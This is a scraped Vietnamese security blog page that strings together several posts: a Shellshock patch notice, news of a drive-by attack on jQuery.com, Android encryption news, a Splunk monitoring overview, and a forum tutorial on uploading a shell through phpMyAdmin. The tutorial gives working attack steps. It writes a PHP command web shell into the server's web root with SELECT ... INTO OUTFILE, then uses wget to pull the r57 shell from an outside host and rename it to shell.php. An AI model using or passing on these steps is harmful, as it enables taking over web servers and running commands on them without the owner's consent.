<strong style="box-sizing: border-box; color: black;">bash: warning: x: ignoring function definition attempt</strong>
<strong style="box-sizing: border-box; color: black;">bash: error importing function definition for `x'</strong>
<strong style="box-sizing: border-box; color: black;">test vulnerability from securitydaily
</strong></pre>
</blockquote>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Bản vá lỗi đã bắt đầu được tung ra ngay khi có cảnh báo.  Nếu hệ thống của bạn đang sử dụng Red Hat, Centos… thì bản vá đã sẵn sàng để cập nhật. Hãy thực hiện update ngay, thực hiện bằng câu lệnh dưới đây</div>
<blockquote style="background-color: white; border-left-color: rgb(238, 238, 238); border-left-style: solid; border-left-width: 5px; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin: 0px 0px 20px; padding: 10px 20px;">
<pre style="background-color: whitesmoke; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; border: 1px solid rgb(204, 204, 204); box-sizing: border-box; color: #333333; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; line-height: 1.428571429; margin-bottom: 10px; padding: 9.5px; white-space: pre-wrap; word-break: break-all; word-wrap: break-word;"><strong style="box-sizing: border-box; color: black;">yum update </strong>
<strong style="box-sizing: border-box; color: black;"><span style="box-sizing: border-box; text-decoration: underline;">hoặc</span></strong>
<strong style="box-sizing: border-box; color: black;">yum update bash</strong>
<strong style="box-sizing: border-box; color: black;">(không cần khởi động lại hệ thống)</strong></pre>
</blockquote>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Sau khi cập nhật hệ thống bạn nên kiểm tra lại việc tồn lại lỗ hổng trên hệ thống của mình và chắc chắn rằng nó đã được khắc phục. Các bản vá này sẽ đảm bảo rằng các mã thực thi sẽ không được gọi đến sau khi kết thúc một chức năng trong bash.</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Rất nhiều trường hợp hệ thống của bạn bị tin tặc tấn công, nhưng đó không phải là lỗi bạn hay của các quản trị viên. Heartbleed OpenSSL là một ví dụ và lỗ hổng này cũng vậy. Vì vậy, hãy liên tục cập nhật các bản vá, các tin tức về lỗ hổng, cảnh báo mới nhất để có hình thức khắc phục và phản ứng kịp thời.</div>
</div>

Xuất hiện lỗ hổng rất nguy hiểm ảnh hưởng các hệ thống Linux, Unix

Một lỗ hổng nghiêm trọng vừa được công bố nằm trong cấu trúc Bourne (bash shell) đang tồn tại trong hầu hết các phiên bản của các hệ điều ...

Hacker lợi dụng jQuery.com để thực hiện tấn công Drive-by

<div dir="ltr" style="text-align: left;" trbidi="on">
<span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;"><br /><br /><b>Khách truy cập tới jQuery.com đang trở thành mục tiêu của cuộc tấn công “drive-by” vào ngày 18 tháng 12, bộ khai thác RIG được chèn vào hệ thống của Jquery,  phần mềm độc hại này được thiết kế để ăn cắp tên người dùng và mật khẩu, công ty bảo mật RiskIQ cảnh báo.</b><br /><br /><a href="http://securitydaily.net/wp-content/uploads/2014/09/jquery-logo.png"><img src="http://securitydaily.net/wp-content/uploads/2014/09/jquery-logo-700x350.png" /></a><br /><br />Các bộ khai thác RIG đã bị phát hiện vào tháng tư năm nay và đã được sử dụng bởi tội phạm mạng trên các trang web phổ biến; nó thường được sử dụng để tải về Trojan banking và các dạng thông tin ăn cắp khác.<br /><br />jQuery là một thư viện JavaScript được sử dụng để phát triển nhiều trang web có nội dung động và các nhà phát triển của các công ty dựa chủ yếu vào nó; gần 70% trong số 10.000 trang web hàng đầu trên thế giới sử dụng Jquery, theo số liệu thống kê từ jQuery.<br /><br />Phần mềm độc hại chuyển hướng được lưu trữ tại Nga, thư viện jQuery không bị ảnh hưởng<br /><br />Sau khi phát hiện một kịch bản độc hại đã thêm một iframe (một tài liệu HTML nhúng vào bên trong một tài liệu HTML trên một trang web) ẩn trên jQuery.com, RiskIQ bắt đầu một cuộc điều tra và xác định rằng người dùng đã được chuyển hướng đến một miền khác vào ngày diễn ra cuộc tấn công, ngày 18 tháng 9.<br /><br />Công ty này nhận thấy rằng tên miền chuyển hướng đến RIG có máy chủ đặt ở Nga và nó vẫn tiếp tục làm việc vào thứ ba.<br /><br />Cuộc điều tra của các nhà nghiên cứu bảo mật đã tiết lộ rằng bản thân thư viện không bị ảnh hưởng trong bất kỳ trường hợp nào. Tuy nhiên, phát hiện phần mềm độc hại đánh cắp thông tin trên jQuery.com đặc biệt nguy hiểm vì theo thống kê lượng người dùng truy cập vào jQuery. Người dùng jQuery nói chung là các quản trị viên hệ thống CNTT và các nhà phát triển Web, bao gồm một đội ngũ lớn những người làm việc trong các doanh nghiệp”, James Pleger của RiskIQ cho biết.<br /><br />Nói chung, kiểu người dùng này có quyền truy cập đến các hệ thống phụ trợ và cơ sở hạ tầng web quan trọng, điều này khiến cuộc tấn công gây ra các tác hại lớn hơn, cho phép kẻ tấn công có khả năng truy cập đến các khu vực nhạy cảm của doanh nghiệp mà chúng nhắm mục tiêu.<br /><br />Đáng chú ý là các công ty bảo mật không thể sao chép các kịch bản trên các trang web này.<br /><br />Sau khi nhận thông báo từ RiskIQ, nhóm nghiên cứu jQuery nghiên cứu vấn đề để tìm hiểu những phần nào của trang web đã bị ảnh hưởng bởi bộ công cụ khai thác. Tuy nhiên, họ đã không thể xác nhận sự gây hại từ các bản ghi trên máy chủ và phát hiện không có dấu vết của bộ khai thác RIG.<br /><br />Mặc dù không tìm thấy bằng chứng của cuộc tấn công, đội ngũ bảo mật của jQuery đã tiến hành các bước thích hợp để đảm bảo rằng bộ máy của họ là an toàn và trong sạch.<br /><br />Các công ty bảo mật khuyến nghị những người ghé thăm trang web vào ngày 18 tháng 9 cần xem lại hệ thống của mình, các thiết lập lại mật khẩu và kiểm tra xem có bất kỳ hoạt động đáng ngờ nào bắt nguồn từ máy tính có nghi ngờ đã bị xâm nhập hay không.<br /><br /><div style="text-align: right;">
<i>Softpedia</i></div>
</span></div>

Hacker lợi dụng jQuery.com để thực hiện tấn công Drive-by

Khách truy cập tới jQuery.com đang trở thành mục tiêu của cuộc tấn công “drive-by” vào ngày 18 tháng 12, bộ khai thác RIG được chèn vào hệ ...

Google đang đẩy mạnh mã hóa trên Android để bắt kịp Apple

<div dir="ltr" style="text-align: left;" trbidi="on">
<span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;"><br /><br />Google cho biết họ sẽ đẩy mạnh mã hóa trên hệ điều hành của Google.<br /><br /><img src="http://securitydaily.net/wp-content/uploads/2014/09/google-android.jpg" /><br /><br />Thông báo được đưa ra trong bối cảnh vấn đề về bảo mật riêng tư rất nhạy cảm và sau khi Apple công bố một kế hoạch tương tự cho iPhone và iPad. Phát ngôn viên của Google cho biết việc mã hóa đã được trang bị cho smartphone và tablet Android nhưng nó sẽ được kích hoạt tự động trong các phiên bản sắp tới. “Ba năm qua Android đã trang bị những hình thức mã hóa và những dữ liệu quan trọng của bạn sẽ không bao giờ đến tay các cơ quan thực thi pháp luật. Như một phần của phiên bản Android sắp phát hành, mã hóa sẽ được kích hoạt mặc định, vì vậy bạn sẽ không cần phải nghĩ về việc bật nó lên”. Google cũng chưa đưa ra thời điểm bản cập nhật Android tiếp theo được phát hành.<br /><br />Apple đã thông báo rằng hệ thống mã hóa mới được xây dựng trong iOS 8 – hệ điều hành được cài đặt sẵn trên iPhone 6. Nó cũng có thể được cài đặt trên các phiên bản iPhone và iPad khác. Apple cho biết về chính sách mới của mình trên trang web rằng: “Dữ liệu cá nhân của bạn như hình ảnh, tin nhắn (bao gồm cả tệp đính kèm, thư điện tử, danh bạ, lịch sử cuộc gọi, nội dung trên Itune, ghi nhớ và nhắc nhở)  sẽ được bảo vệ bởi hệ thống mã hóa của bạn. Không giống như những đối thủ khác, Apple không thể qua mặt được hệ thống mã hóa và do đó cũng không thể truy cập được dữ liệu của bạn. Vì vậy chính phủ sẽ không có kĩ thuật nào khả thi trong việc khai thác dữ liệu từ các thiết bị iOS 8.”<br /><br />Các bản cập nhật được tung ra trong bối cảnh, hàng loạt các chương trình giám sát dữ liệu của chính phủ từ máy tính và các thiết bị khác bị tiết lộ. Tài liệu rò rỉ của cựu nhân viên Cơ quan An ninh Quốc gia (NSA) Edward Snowden đã làm nổi bật mối quan tâm về vai trò của các công ty công nghệ cao đối với những chương trình theo dõi này.<br /><br />Securityweek</span></div>

Google đang đẩy mạnh mã hóa trên Android để bắt kịp Apple

Google cho biết họ sẽ đẩy mạnh mã hóa trên hệ điều hành của Google. Thông báo được đưa ra trong bối cảnh vấn đề về bảo mật riêng tư rất nhạ...

[TUT] Shell Uploading Through PhpMyAdmin

<span style="font-family: arial, tahoma; font-size: 13px; line-height: 18px;">- Điều đầu tiên tất nhiên bạn cần là login được vào phpmyadmin (root càng tốt hoặc user có đặc quyền mysql db)</span><br style="font-family: arial, tahoma; font-size: 13px; line-height: 18px;" /><span style="font-family: arial, tahoma; font-size: 13px; line-height: 18px;">- Phải biết path của server, để làm được điều đó, tại SQL các bạn run lệnh:</span><br style="color: #ebebeb; font-family: arial, tahoma; font-size: 13px; line-height: 18px;" /><br />
<blockquote style="background-color: #030303; background-image: url(http://ceh.vn/@4rum/images/neonglow/quoter.png); background-position: 99% 42px; background-repeat: no-repeat no-repeat; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 3px; border-top-right-radius: 3px; border: 1px solid rgb(22, 22, 22); color: #d5d5d5; font-family: arial, tahoma; font-size: 11px; margin: 0px; min-height: 60px; padding: 8px; vertical-align: middle;">
<cite style="background-color: #2e2e2e; background-image: url(http://ceh.vn/@4rum/images/neonglow/highlight_faint.png); background-position: 50% 0%; background-repeat: repeat no-repeat; border-bottom-color: rgb(46, 46, 46); border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-bottom-style: solid; border-bottom-width: 1px; border-top-left-radius: 2px; border-top-right-radius: 2px; color: #d8d8d8; display: block; font-style: normal; font-weight: bold; margin: -8px -8px 8px; padding: 10px; text-shadow: rgb(5, 5, 5) 1px 1px 1px;">Trích dẫn:</cite>SELECT @@datadir</blockquote>
<br style="color: #ebebeb; font-family: arial, tahoma; font-size: 13px; line-height: 18px;" />
<div style="color: #ebebeb; font-family: arial, tahoma; font-size: 13px; line-height: 18px; text-align: center;">
<a href="http://a.imageshack.us/img199/6536/xvig.png" id="fbimage" style="color: white; text-decoration: none;"><img alt="[Hình: xvig.png]" border="0" src="http://a.imageshack.us/img199/6536/xvig.png" style="border: none; height: auto; max-width: 100%; outline: 0px;" /></a><br /><a href="http://a.imageshack.us/img32/9144/80l3.png" id="fbimage" style="color: white; text-decoration: none;"><img alt="[Hình: 80l3.png]" border="0" src="http://a.imageshack.us/img32/9144/80l3.png" style="border: none; height: auto; max-width: 100%; outline: 0px;" /></a></div>
<br style="color: #ebebeb; font-family: arial, tahoma; font-size: 13px; line-height: 18px;" /><span style="font-family: arial, tahoma; font-size: 13px; line-height: 18px;">Bắt đầu nào </span><img alt="Big Grin" border="0" src="http://ceh.vn/@4rum/images/smilies/biggrin.gif" style="border: none; font-family: arial, tahoma; font-size: 13px; height: auto; line-height: 18px; max-width: 100%; outline: 0px; vertical-align: middle;" title="Big Grin" /><br style="font-family: arial, tahoma; font-size: 13px; line-height: 18px;" /><br style="font-family: arial, tahoma; font-size: 13px; line-height: 18px;" /><span style="font-family: arial, tahoma; font-size: 13px; line-height: 18px;">Đầu tiên là login vào phpmyadmin</span><br style="font-family: arial, tahoma; font-size: 13px; line-height: 18px;" /><br />
<div style="color: #ebebeb; font-family: arial, tahoma; font-size: 13px; line-height: 18px; text-align: center;">
<a href="http://i.imgur.com/SqxHA.png" id="fbimage" style="color: white; text-decoration: none;"><img alt="[Hình: SqxHA.png]" border="0" src="http://i.imgur.com/SqxHA.png" style="border: none; height: auto; max-width: 100%; outline: 0px;" /></a></div>
<br style="color: #ebebeb; font-family: arial, tahoma; font-size: 13px; line-height: 18px;" /><br style="font-family: arial, tahoma; font-size: 13px; line-height: 18px;" /><span style="font-family: arial, tahoma; font-size: 13px; line-height: 18px;">Bây giờ click vào "Show MySQL system varible"</span><br style="color: #ebebeb; font-family: arial, tahoma; font-size: 13px; line-height: 18px;" /><br />
<div style="color: #ebebeb; font-family: arial, tahoma; font-size: 13px; line-height: 18px; text-align: center;">
<a href="http://i.imgur.com/PvHkS.png" id="fbimage" style="color: white; text-decoration: none;"><img alt="[Hình: PvHkS.png]" border="0" src="http://i.imgur.com/PvHkS.png" style="border: none; height: auto; max-width: 100%; outline: 0px;" /></a></div>
<br style="color: #ebebeb; font-family: arial, tahoma; font-size: 13px; line-height: 18px;" /><span style="color: #ebebeb; font-family: arial, tahoma; font-size: 13px; line-height: 18px;">Sau đó chuyển qua SQL</span><br style="color: #ebebeb; font-family: arial, tahoma; font-size: 13px; line-height: 18px;" /><br style="color: #ebebeb; font-family: arial, tahoma; font-size: 13px; line-height: 18px;" /><a href="http://i.imgur.com/TcvHs.png" id="fbimage" style="color: white; font-family: arial, tahoma; font-size: 13px; line-height: 18px; text-decoration: none;"><img alt="[Hình: TcvHs.png]" border="0" src="http://i.imgur.com/TcvHs.png" style="border: none; height: auto; max-width: 100%; outline: 0px;" /></a><br style="color: #ebebeb; font-family: arial, tahoma; font-size: 13px; line-height: 18px;" /><br style="font-family: arial, tahoma; font-size: 13px; line-height: 18px;" /><br style="font-family: arial, tahoma; font-size: 13px; line-height: 18px;" /><span style="font-family: arial, tahoma; font-size: 13px; line-height: 18px;">Lúc này các bạn có thể chạy các lệnh SQL như tạo db, xóa bảng hoặc bất cứ điều gì, ở đây chúng ta cần là up shell.</span><br style="font-family: arial, tahoma; font-size: 13px; line-height: 18px;" /><span style="font-family: arial, tahoma; font-size: 13px; line-height: 18px;">Bây giờ chúng ta sẽ tạo một dòng cmd vào một file mới.</span><br style="color: #ebebeb; font-family: arial, tahoma; font-size: 13px; line-height: 18px;" /><br />
<blockquote style="background-color: #030303; background-image: url(http://ceh.vn/@4rum/images/neonglow/quoter.png); background-position: 99% 42px; background-repeat: no-repeat no-repeat; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 3px; border-top-right-radius: 3px; border: 1px solid rgb(22, 22, 22); color: #d5d5d5; font-family: arial, tahoma; font-size: 11px; margin: 0px; min-height: 60px; padding: 8px; vertical-align: middle;">
<cite style="background-color: #2e2e2e; background-image: url(http://ceh.vn/@4rum/images/neonglow/highlight_faint.png); background-position: 50% 0%; background-repeat: repeat no-repeat; border-bottom-color: rgb(46, 46, 46); border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-bottom-style: solid; border-bottom-width: 1px; border-top-left-radius: 2px; border-top-right-radius: 2px; color: #d8d8d8; display: block; font-style: normal; font-weight: bold; margin: -8px -8px 8px; padding: 10px; text-shadow: rgb(5, 5, 5) 1px 1px 1px;">Trích dẫn:</cite>SELECT "<? system($_REQUEST['cmd']); ?>" INTO OUTFILE "full/path/here/cmd.php"</blockquote>
<br style="color: #ebebeb; font-family: arial, tahoma; font-size: 13px; line-height: 18px;" /><br style="color: #ebebeb; font-family: arial, tahoma; font-size: 13px; line-height: 18px;" /><span style="font-family: arial, tahoma; font-size: 13px; line-height: 18px;">Mình ví dụ ở đây Server dùng Xampp (path public của xampp là [X]:\xampp\htdocs\)</span><br style="font-family: arial, tahoma; font-size: 13px; line-height: 18px;" /><br style="font-family: arial, tahoma; font-size: 13px; line-height: 18px;" /><span style="font-family: arial, tahoma; font-size: 13px; line-height: 18px;">Click "Go"</span><br style="font-family: arial, tahoma; font-size: 13px; line-height: 18px;" /><br />
<div style="color: #ebebeb; font-family: arial, tahoma; font-size: 13px; line-height: 18px; text-align: center;">
<a href="http://a.imageshack.us/img716/8970/59kn.png" id="fbimage" style="color: white; text-decoration: none;"><img alt="[Hình: 59kn.png]" border="0" src="http://a.imageshack.us/img716/8970/59kn.png" style="border: none; height: auto; max-width: 100%; outline: 0px;" /></a></div>
<br style="color: #ebebeb; font-family: arial, tahoma; font-size: 13px; line-height: 18px;" /><span style="font-family: arial, tahoma; font-size: 13px; line-height: 18px;">Bây giờ, file cmd.php là ở đây </span><a href="http://site.com/cmd.php" style="font-family: arial, tahoma; font-size: 13px; line-height: 18px; text-decoration: none;" target="_blank">http://site.com/cmd.php</a><br style="font-family: arial, tahoma; font-size: 13px; line-height: 18px;" /><span style="font-family: arial, tahoma; font-size: 13px; line-height: 18px;">Tại cmd.php, chúng ta sẽ run lệnh này để download con shell ở dạng txt về và change thành php</span><br style="color: #ebebeb; font-family: arial, tahoma; font-size: 13px; line-height: 18px;" /><br />
<blockquote style="background-color: #030303; background-image: url(http://ceh.vn/@4rum/images/neonglow/quoter.png); background-position: 99% 42px; background-repeat: no-repeat no-repeat; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 3px; border-top-right-radius: 3px; border: 1px solid rgb(22, 22, 22); color: #d5d5d5; font-family: arial, tahoma; font-size: 11px; margin: 0px; min-height: 60px; padding: 8px; vertical-align: middle;">
<cite style="background-color: #2e2e2e; background-image: url(http://ceh.vn/@4rum/images/neonglow/highlight_faint.png); background-position: 50% 0%; background-repeat: repeat no-repeat; border-bottom-color: rgb(46, 46, 46); border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-bottom-style: solid; border-bottom-width: 1px; border-top-left-radius: 2px; border-top-right-radius: 2px; color: #d8d8d8; display: block; font-style: normal; font-weight: bold; margin: -8px -8px 8px; padding: 10px; text-shadow: rgb(5, 5, 5) 1px 1px 1px;">Trích dẫn:</cite>wget <a href="http://www.r57.biz/r57.txt;mv" style="color: white; text-decoration: none;" target="_blank">http://www.r57.biz/r57.txt;mv</a> r57.txt shell.php</blockquote>
<br style="color: #ebebeb; font-family: arial, tahoma; font-size: 13px; line-height: 18px;" /><span style="font-family: arial, tahoma; font-size: 13px; line-height: 18px;">Và sau đó là thành quả</span><br style="color: #ebebeb; font-family: arial, tahoma; font-size: 13px; line-height: 18px;" /><br />
<div style="color: #ebebeb; font-family: arial, tahoma; font-size: 13px; line-height: 18px; text-align: center;">
<a href="http://i.imgur.com/dbq48.png" id="fbimage" style="color: #8bddec; text-decoration: none;"><img alt="[Hình: dbq48.png]" border="0" src="http://i.imgur.com/dbq48.png" style="border: none; height: auto; max-width: 100%; outline: 0px;" /></a></div>
<br style="color: #ebebeb; font-family: arial, tahoma; font-size: 13px; line-height: 18px;" />

[TUT] Shell Uploading Through PhpMyAdmin

- Điều đầu tiên tất nhiên bạn cần là login được vào phpmyadmin (root càng tốt hoặc user có đặc quyền mysql db) - Phải biết path của server, ...

Splunk: Công cụ toàn năng cho các chuyên gia giám sát an ninh mạng

<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Tiếp tục loạt bài viết về hệ thống giám sát an ninh mạng, trong các bài tới tôi sẽ giới thiệu đến các bạn các công cụ, sản phẩm giám sát an ninh mạng điển hình. Bạn có thể tham khảo thêm bài viết <a href="http://securitydaily.net/tong-quan-ve-he-thong-giam-sat-an-ninh-mang/" style="-webkit-transition: 300ms; box-sizing: border-box; color: #486493; text-decoration: none; transition: 300ms;" title="Tổng quan về hệ thống giám sát an ninh mạng">Tổng quan về một hệ thống giám sát an ninh mạng</a>. Công cụ giám sát đầu tiên mà tôi sẽ nhắc đến là Splunk: Công cụ toàn năng cho các chuyên gia giám sát an ninh mạng. Splunk là một phần mềm giám sát mạng dựa trên sức mạnh của việc phân tích Log. Splunk thực hiện các công việc tìm kiếm, giám sát và phân tích dữ liệu logs lớn được sinh ra từ các ứng dụng, các hệ thống và các thiết bị hạ tầng mạng. Nó có thể thao tác tốt với nhiều loại dịnh dạng dữ liệu khác nhau (Syslog, csv, apache-log, access_combine …). Splunk được xây dựng dựa trên nền tảng Lucene and MongoDB với một giao diện web rất trực quan.</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: center;">
<img alt="Splunk_ Enterprise" class="aligncenter size-full wp-image-6827" height="368" src="http://securitydaily.net/wp-content/uploads/2014/09/Splunk_-Enterprise.png" style="border: 0px; box-sizing: border-box; vertical-align: middle;" width="640" /></div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: center;">
Splunk Enterprise</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
<strong style="box-sizing: border-box; color: black;">CHÍNH SÁCH BẢN QUYỀN: </strong><em style="box-sizing: border-box;">Splunk cung cấp 2 bộ sản phẩm miễn phí và trả phí</em></div>
<ul style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; margin-top: 0px;">
<li style="box-sizing: border-box;">Sản phẩm trả phí: Có tất cả các chức năng của Splunk, không hạn chế kích thước dữ liệu.</li>
<li style="box-sizing: border-box;">Sản phẩm miễn phí: Hạn chế một số chức năng, hạn chế khối lượng dữ liệu mỗi ngày là 500MB. Bao gồm các chức năng: Đánh chỉ mục dữ liệu, tìm kiếm trong thời gian thực, thống kế và kết xuất báo cáo.</li>
</ul>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
<strong style="box-sizing: border-box; color: black;">TÍNH NĂNG</strong> <strong style="box-sizing: border-box; color: black;">Định dạng Log</strong>: Splunk hỗ trợ hầu như tất cả các loại log của hệ thống, thiết bị hạ tầng mạng, phần mềm, Firewall, IDS/IPS, Log Event, Register của các máy trạm… <strong style="box-sizing: border-box; color: black;">Các hình thức thu thập dữ liệu</strong>: Splunk có thể thực hiện việc thu thập log từ rất nhiều nguồn khác nhau.</div>
<ul style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; margin-top: 0px;">
<li style="box-sizing: border-box;">Từ một file hoặc thư mục (kể cả file nén) trên server</li>
<li style="box-sizing: border-box;">Qua các kết nối UDP, TCP từ các Splunk Server khác trong mô hình Splunk phân tán</li>
<li style="box-sizing: border-box;">Từ các Event Logs, Registry của Windows…</li>
</ul>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Splunk cũng kết hợp rất tốt với các công cụ thu thập log khác để tăng hiệu năng của hệ thống. <strong style="box-sizing: border-box; color: black;">Cập nhật dữ liệu</strong>: Splunk cập nhật dữ liệu liên tục khi có thay đổi trong thời gian thực. Giúp cho việc phát hiện và cảnh báo chính xác trong thời gian thực. <strong style="box-sizing: border-box; color: black;">Đánh chỉ mục dữ liệu</strong>: Splunk được xây dựng trên Lucence, có thể đánh chỉ mục dữ liệu với một khối lượng dữ liệu rất lớn trong một khoảng thời gian ngắn. Giúp việc tìm kiếm diễn ra nhanh chóng và thuận tiện. <strong style="box-sizing: border-box; color: black;">Tìm kiếm thông tin</strong>: Splunk làm việc rất tốt với dữ liệu lớn và cập nhật liên tục. Nó cung cấp cơ chế tìm kiếm với một “Splunk Language” cực kỳ thông minh bao gồm các từ khóa, các hàm và cấu trúc tìm kiếm giúp người sử dụng có thể truy xuất mọi thứ, theo rất nhiều tiêu chí từ tập dữ liệu rất lớn. Những nhà quản trị mạng cao cấp và chuyên nghiệp thường gọi Splunk với cái tên “Splunk toàn năng” hay “Splunk as Google for Log files” để nói lên sức mạnh của Splunk. <strong style="box-sizing: border-box; color: black;">Giám sát và cảnh báo:</strong> Splunk cung cấp cho người dùng một cơ chế cảnh báo dựa trên việc tìm kiếm các thông tin do chính người sử dụng đặt ra. Khi có vấn đề liên quan tới hệ thống phù hợp với các tiêu chí mà người dùng đã đặt ra thì hệ thống sẽ cảnh báo ngay tới người dùng (cảnh bảo trực tiếp qua giao diện, giử Email). <strong style="box-sizing: border-box; color: black;">Khắc phục sự cố:</strong> Splunk còn cung cấp một cơ chế tự động khắc phục với các vấn đề xảy ra bằng việc cấu hình để tự động chạy các file Script mà người dùng tự tạo (Ví dụ như: Chặn IP, đòng Port …) khi có các cảnh báo xảy ra. <strong style="box-sizing: border-box; color: black;">Hiển thị thông tin</strong>: Splunk cung cấp một cơ chế hiển thị trực quan giúp người sử dụng có thể dễ dàng hình dung về tình trạng của hệ thống, đưa ra các đánh giá về hệ thống. Splunk còn từ động kết xuất ra các báo cáo với nhiều loại định dạng một cách chuyên nghiệp. <strong style="box-sizing: border-box; color: black;">Phát triển</strong>: Cũng cung cấp các API hỗ trợ việc tạo các ứng dụng trên Splunk của người dùng. Một số bộ API điển hình như Splunk SDK (Cung cấp các SDK trên nền tảng Python, Java, JS, PHP), Shep (Splunk Hadoop Intergration – Đây là sự kết hợp giữa Splunk và Hadoop), Shuttl (Là một sản phẩm hỗ trợ việc sao lưu dữ liệu trong Splunk), Splunkgit (Giúp bạn hình dung dữ liệu tốt hơn), Splunk power shell resource Kit (Bộ công cụ hỗ trợ việc mở rộng và quản lý hệ thống).</div>
<blockquote style="background-color: white; border-left-color: rgb(238, 238, 238); border-left-style: solid; border-left-width: 5px; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin: 0px 0px 20px; padding: 10px 20px;">
<div style="box-sizing: border-box; font-size: 13px !important; line-height: 1.25; text-align: justify;">
<strong style="box-sizing: border-box; color: black;">LƯU Ý: </strong>Splunk mạnh về khả năng phân tích và cảnh báo tuy nhiên nó lại không mạnh và không đảm bảo về việc thu thập và truyền tải log. Cụ thể là nó chưa có cơ chế bảo mật trên đường truyền, không phù hợp với những hệ thống đòi hỏi bảo mật cao. Để phát huy hết được sức mạnh của Splunk cần có thời gian tìm hiểu và sử dụng. Splunk chưa có cơ chế giúp tự động phát hiện ra các tấn công hay các vấn đề từ bên ngoài. Những điều này phụ thuộc vào kinh nghiệm sử dụng và vốn hiểu biết về bảo mật của người quản trị. Đề triển khai được một hệ thống sử dụng Splunk hiệu quả chúng ta cũng cần có một hệ thống riêng, đây cũng là một trở ngại không nhỏ với các hệ thống có quy mô trung bình và nhỏ.</div>
</blockquote>
<h4 style="background-color: white; box-sizing: border-box; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 18px; font-weight: 500; line-height: 1.1; margin-bottom: 10px; margin-top: 10px;">
CÀI ĐẶT:</h4>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Splunk cung cấp các bộ cài đặt trên trang web <strong style="box-sizing: border-box; color: black;"><span style="box-sizing: border-box; text-decoration: underline;">splunk.com</span></strong>. Bạn chỉ cần tải bộ cài đặt của Spunk và cài đặt trên các hệ thống server riêng của mình. Splunk cung cấp 1 giao diện web rất trực quan để bạn thao tác và cấu hình mọi thứ. Bạn cũng có thể cài đặt Splunk trên máy của mình để phân tích Log đơn thuần.</div>
<h4 style="background-color: white; box-sizing: border-box; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 18px; font-weight: 500; line-height: 1.1; margin-bottom: 10px; margin-top: 10px;">
TRIỂN KHAI:</h4>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Với một hệ thống lớn để triển khai được Splunk chúng ta cần có một Server riêng để tập trung Log. Tuy nhiên Splunk làm không tốt việc tập trung Log từ các Server hay thiết bị khác. Vì thế chúng ta cần sử dụng một số công cụ khác để thực hiện việc tập trung Log và về Splunk Server. Cụ thể là ta có thể kết hợp với syslog, Snare (for Windows), sử dụng qua Heroku …. <strong style="box-sizing: border-box; color: black;">Triển khai hệ thống phân tán:</strong> Splunk hỗ trợ người dùng thiết lập một hệ thống phân tán khi lượng dữ liệu là quá lớn vượt qua khả năng lưu trữ và xử lý của một máy.</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: center;">
<img alt="Splunk_deploy" class="aligncenter size-full wp-image-6828" height="328" src="http://securitydaily.net/wp-content/uploads/2014/09/Splunk_deploy.png" style="border: 0px; box-sizing: border-box; vertical-align: middle;" width="640" /></div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: center;">
Triển khai hệ thống phân tán</div>
<div>
<br /></div>

Splunk: Công cụ toàn năng cho các chuyên gia giám sát an ninh mạng

